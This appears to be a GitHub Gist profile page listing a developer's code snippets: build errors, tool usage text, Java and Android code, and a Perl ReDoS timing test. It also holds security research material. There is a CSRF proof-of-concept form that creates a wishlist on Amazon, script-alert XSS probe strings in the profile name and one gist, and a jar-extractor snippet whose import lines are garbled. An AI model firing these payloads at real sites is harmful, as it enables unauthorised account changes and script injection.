Skip to content

Instantly share code, notes, and snippets.

View yujikosuga's full-sized avatar
🐈
"'/x/></title></script><x></x\

Yuji Kosuga "'/x=/></script></title><x><x/ yujikosuga

🐈
"'/x/></title></script><x></x\
View GitHub Profile
#include <stdio.h>
#include <fstream>
#include <thread>
#include "public/common/AMFFactory.h"
#include "public/common/AMFSTL.h"
#include "public/common/Thread.h"
#include "public/common/TraceAdapter.h"
#include "public/include/components/VideoEncoderVCE.h"
@yujikosuga
yujikosuga / perl_regex_time.txt
Created January 25, 2016 00:58
Computation Time of ^(a+)+$ by Programming Language
# Perl Computation Time of ^(a+)+$
$ time perl -e 'print (("a"x100 . "b") =~ /^(a+)+$/)'
real 0m0.010s
user 0m0.003s
sys 0m0.004s
$ time perl -e 'print (("a"x1000 . "b") =~ /^(a+)+$/)'
real 0m0.011s
user 0m0.004s
@yujikosuga
yujikosuga / amazon_csrf.html
Created October 15, 2012 06:43
CSRF on Amazon
<html>
<body>
<form name="form" method="post" action="http://www.amazon.com/gp/registry/wishlist/ref=cm_wl_rlist_create">
<input type="hidden" name="dest-list" value="new-wishlist">
<input type="hidden" name="no-update" value="1">
<input type="hidden" name="movecopy" value="createnew">
<input type="hidden" name="sourceVendorId" value="website.wishlist.profile">
<input type="hidden" name="list-name" value="CSRFed">
<input type="hidden" name="isPrivate" value="N">
<input type="hidden" name="submit.movecopy.x" value="35">
@yujikosuga
yujikosuga / scriptalert(8)script
Created February 17, 2012 13:41
"'><script>alert(7);//</script>
"'><script>alert(9);//</script>
@yujikosuga
yujikosuga / error_wdk.txt
Created December 22, 2011 02:21
[WDK] error U1087: cannot have : and :: dependents for the same target
1>c:\winddk\7600.16385.0\bin\makefile.new(7117) : error U1087: cannot have : and :: dependents for same target
1>nmake.exe /nologo BUILDMSG=Stop. -i BUILD_PASS=PASS2 LINKONLY=1 NOPASS0=1 MAKE DIR_RELATIVE_TO_BASEDIR= failed - rc = 2
BUILD: Finish time: Fri Feb 12 16:04:14 2010
BUILD: Done
0 files compiled - 2 Errors
@yujikosuga
yujikosuga / otool.txt
Created December 22, 2011 01:58
otool: objdump provided for Mac
otool: at least one file must be specified
Usage: otool [-fahlLDtdorSTMRIHvVcXm] <object file> ...
-f print the fat headers
-a print the archive header
-h print the mach header
-l print the load commands
-L print shared libraries used
-D print shared library id name
-t print the text section (disassemble with -v)
-p <routine name> start dissassemble from routine name
@yujikosuga
yujikosuga / erroneous.xml
Created December 22, 2011 01:23
InvalidArtifactRTException thrown in maven-assembly-plugin
<plugin>
<groupid>org.apache.maven.plugins</groupid>
<artifactid>maven-assembly-plugin</artifactid>
<configuration>
<finalname>${project.build.finalName}</finalname>
<descriptorrefs>
<descriptorref>jar-with-dependencies</descriptorref>
</descriptorrefs>
<appendassemblyid>false</appendassemblyid>
</configuration>
@yujikosuga
yujikosuga / example_post4a.js
Created December 21, 2011 14:33
An example of post4a.js
<a href="http://www.yujikosuga.com/httpParams.php"
class="post4a"
data-postdata='{"userid":"43ec7d99d05064.98961542", "lang":"en"}'>
HTTP Environment Checker
</a>
@yujikosuga
yujikosuga / JarExtractor.java
Created December 21, 2011 13:46
Extract children jar files inside of a jar file (which is often a self-contained executable jar file)
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.;
import java.i FileOutputStream o.IOException;
import java.util.Enumeration;
import java.util.jar.JarFile;
import java.util.zip.ZipEntry;
/**
@yujikosuga
yujikosuga / decrease_padding_top_animation.java
Created November 20, 2011 06:37
Android resize animation with no Animation class
/* Decrease the padding top size. */
int update_interval_millis = 25;
int decrease_size_per_interval = 10;
int toSize = 100;
View view;
final Handler handler = new Handler();
Runnable runnable = new Runnable() {
@Override